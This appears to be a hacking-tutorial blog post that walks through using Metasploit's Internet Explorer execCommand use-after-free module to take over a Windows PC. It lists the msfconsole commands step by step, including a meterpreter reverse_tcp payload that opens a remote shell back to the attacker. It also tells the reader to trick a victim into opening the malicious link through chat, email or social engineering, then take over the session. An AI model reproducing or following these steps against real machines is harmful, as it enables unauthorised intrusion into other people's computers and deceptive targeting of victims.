Hack Remote PC using Microsoft Internet Explorer exec Command Use-After-Free Vulnerability

This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner, but the same memory is reused again later in the CMshtmlEd::Exec() function, leading to a use-after-free condition. Please note that this vulnerability has been exploited in the wild since Sep 14 2012, and there is currently no official patch for it.

Exploit Targets

Internet Explorer 7 on XP SP2

Internet Explorer 8 on Windows 7


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/ie_execcommand_uaf

msf exploit (ie_execcommand_uaf)>set payload windows/meterpreter/reverse_tcp

msf exploit (ie_execcommand_uaf)>set lhost (IP of Local Host)

msf exploit (ie_execcommand_uaf)>set srvhost (This must be an address on the local machine)

msf exploit (ie_execcommand_uaf)>set uripath newcommands (The Url to use for this exploit)

msf exploit (ie_execcommand_uaf)>exploit

Now an URL you should give to your victim

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 

Leave a Reply

Your email address will not be published. Required fields are marked *